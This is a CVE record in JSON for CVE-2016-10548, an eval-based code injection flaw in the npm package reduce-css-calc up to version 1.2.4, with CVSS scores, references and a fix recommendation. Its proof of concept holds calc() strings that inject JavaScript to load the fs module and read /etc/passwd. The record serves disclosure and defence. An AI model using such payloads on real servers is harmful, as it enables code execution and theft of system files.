{"dataType": "CVE_RECORD", "containers": {"adp": [{"metrics": [{"other": {"type": "Unknown", "content": {"data": "{\"description\":\"CRITICAL\"}"}}}], "affected": [{"vendor": "npm", "product": "reduce-css-calc", "versions": [{"status": "affected", "version": "0", "lessThan": "1.2.5", "versionType": "semver"}], "defaultStatus": "unaffected"}], "references": [{"url": "https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9"}, {"url": "https://github.com/advisories/GHSA-4662-j96g-mv46"}, {"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10548"}, {"url": "https://www.npmjs.com/advisories/144"}], "descriptions": [{"lang": "en", "value": "Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.\n\n## Proof of Concept\n\n```\nconst reduceCSSCalc = require('reduce-css-calc');\nconsole.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));\nconsole.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));\nconsole.log(reduceCSSCalc(`calc(                       (fs['readFileSync'](\"/etc/passwd\", \"utf-8\")))`));\n```\n\n\n\n## Recommendation\n\nUpdate to version 1.2.5 or later."}, {"lang": "en", "value": "Arbitrary Code Injection in reduce-css-calc"}], "providerMetadata": {"orgId": "386269d4-a6c6-4eaa-bf8e-bc0b0d010558", "shortName": "npm", "dateUpdated": "2018-06-07T19:43:06Z", "x_subShortName": "npm"}}], "cna": {"metrics": [{"format": "CVSS", "cvssV2_0": {"version": "2.0", "baseScore": 4.3, "accessVector": "NETWORK", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "authentication": "NONE", "integrityImpact": "PARTIAL", "accessComplexity": "MEDIUM", "availabilityImpact": "NONE", "confidentialityImpact": "NONE"}}, {"format": "CVSS", "cvssV3_0": {"scope": "CHANGED", "version": "3.0", "baseScore": 6.1, "attackVector": "NETWORK", "baseSeverity": "MEDIUM", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "integrityImpact": "LOW", "userInteraction": "REQUIRED", "attackComplexity": "LOW", "availabilityImpact": "NONE", "privilegesRequired": "NONE", "confidentialityImpact": "LOW"}}], "affected": [{"cpes": ["cpe:2.3:a:reduce-css-calc_project:reduce-css-calc:*:*:*:*:*:node.js:*:*"], "vendor": "reduce-css-calc_project", "product": "reduce-css-calc", "versions": [{"status": "affected", "version": "0", "versionType": "custom", "lessThanOrEqual": "1.2.4"}], "platforms": ["node.js"], "defaultStatus": "unaffected"}], "references": [{"url": "https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9", "tags": ["exploit", "third-party-advisory"]}, {"url": "https://nodesecurity.io/advisories/144", "tags": ["exploit", "third-party-advisory"]}], "descriptions": [{"lang": "en", "value": "Arbitrary code execution is possible in reduce-css-calc node module <=1.2.4 through crafted css. This makes cross sites scripting (XSS) possible on the client and arbitrary code injection possible on the server and user input is passed to the `calc` function."}, {"lang": "es", "value": "Es posible la ejecución de código arbitrario en el módulo de node reduce-css-calc en versiones anteriores a la 1.2.4 mediante CSS manipulado. Esto posibilita Cross-Site Scripting (XSS) en el cliente y posibilita la inyección de código arbitrario en el servidor; se pasan entradas de usuario a la función \"calc\"."}], "problemTypes": [{"descriptions": [{"lang": "en", "cweId": "CWE-79", "description": "CWE-79"}, {"lang": "en", "cweId": "CWE-94", "description": "CWE-94"}]}], "providerMetadata": {"orgId": "00000000-0000-4000-A000-000000000003", "shortName": "nvd", "dateUpdated": "2018-05-31T20:29:01Z", "x_subShortName": "nvd"}}}, "cveMetadata": {"cveId": "CVE-2016-10548", "state": "PUBLISHED", "dateUpdated": "2024-11-21T02:44:14Z", "assignerOrgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1", "datePublished": "2018-05-31T20:29:01Z", "assignerShortName": "hackerone"}, "dataVersion": "5.0"}